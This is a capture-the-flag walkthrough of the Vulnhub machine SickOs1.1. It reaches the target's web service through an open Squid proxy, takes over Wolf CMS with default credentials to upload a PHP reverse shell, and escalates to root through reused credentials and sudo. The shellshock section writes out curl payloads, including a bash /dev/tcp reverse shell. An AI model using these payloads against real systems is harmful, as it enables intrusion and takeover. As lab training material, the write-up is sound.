SickOs1.1 – Vulnhub

Overall Summary

This Vulnhub machine was very straightforward as long as you understand what it means to have an open proxy. I found two different paths to get a low privilege shell with one being a shellshock vulnerability and the other one being an arbitrary file upload of a PHP file. Privilege escalation consisted in finding some credentials to become another user and then sudo to the root account.

Scanning and Enumeration

Starting out with a full TCP nmap scan returns information about an ssh service and 2 http services. Port 3128 appears to be an open proxy as suggested by the NSE scripts from nmap.

Navigating to the only open http service on port 3128 displays a page with an error message stating that the url could not be retrieved.

From the screenshot we can see that it is running Squid 3.1.19. Going back to the nmap results I noticed that port 8080 seemed closed and since port 3128 seemed to be an open proxy it might be possible to be used as a proxy to access other services that were not initially available without the proxy. To scan for some common ports with the http proxy I used Spose instead of metasploit to scan for ports. The tool can be downloaded from github: (The tool requires you to download the file as well, as it is needed for the script). The script results show a new http service on port 80.

To be able to access the http service we would have to first configure the browser to use the proxy. This can be done in the network settings of the browser.

We can now access the web service and see the following page displayed.

Exploitation (Method #1)

With access to this web service, I enumerated the service using gobuster and using the proxy to be able to reach the web service. This is the output:

Navigating to the robots.txt file I found a new directory to browse which end up being a Wolf CMS.

Browsing to the different options didn’t display any useful information, but I kept noticing that each different page had a question mark sign (“?”) before the name of the directory, so I thought It would be a good idea to try and further enumerate using gobuster. I was able to discover an admin directory.

Navigating to the admin directory redirects to a login page.

After trying some common credentials I was able to quickly get administrative access by using “admin” as a username and password.

By looking at the bottom in the screenshot we can now see a version, which can be useful to find public exploits or vulnerabilities. The version was indeed vulnerable when a user has access to the upload functionality to do an arbitrary file upload. The POC can be found here: By navigating to /wolfcms/?/admin/plugin/file_manager/browse we should be able to upload a php file to get a reverse shell.

I downloaded the php reverse shell from Pentestmonkey, changed the IP address and port number to suit my needs and uploaded using the Wolf CMS. 

To access the php reverse shell I had to then browse to /wolfcms/public/php-reverse-shell.php. I was able to successfully get a reverse shell as the www-data.

Exploitation (Method #2)

If we go back to where we discovered the web service on port 80 through the proxy and instead of using gobuster we use nikto to also scan for vulnerabilities, we will discover that there is a shellshock vulnerability.

The shellshock vulnerability can be easily exploited and can be better understood by reading the following blog: We can for example execute a ping command to test this vulnerability using curl. The command would look like the following:

curl -x -H "User-Agent: () { :; }; /bin/ping -c 5"

Even though there is no output from the request we can use wireshark to see if remote command execution was successful by filtering by ICMP type.

As shown above, remote command execution was indeed successful. If we wanted to see some output from our ping command we could simply add the echo command before the ping command terminated by a semi-colon:

curl -x -H "User-Agent: () { :; }; echo; /bin/ping -c 5"

To get a reverse shell I simply used a bash reverse shell to my attacking machine on port 443.

curl -x -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/ 0>&1"


For privilege escalation, there was a config.php file that I couldn’t view while I was working with the web service. I browsed to the /var/www/wolfcms folder and by listing the files I saw the config.php file which I then cat and found some MySQL credentials.

At this point, I first went ahead and got myself a TTY shell using python to be able to interact with MySQL, this is the command I used to spawn a tty shell:

python -c 'import pty; pty.spawn("/bin/bash")'

With the credentials I had found I could have access to MySQL and list some hashed passwords. The process was much more simply than and I had been overthinking once again before trying one of the most simply things. I first tried to su into root with the password used for MySQL but it didn’t work, I then tried to su into the sickos with that same password and it worked.

From the id command we can see that the sickos has some sudo rights, meaning that we could easily get root by simply providing the password of the user. To check our sudo rights I executed the “sudo -l” command and the user was able to use sudo to run all the commands.

With this information I simply executed the “sudo su” command to gain root privileges.


Notify of
Inline Feedbacks
View all comments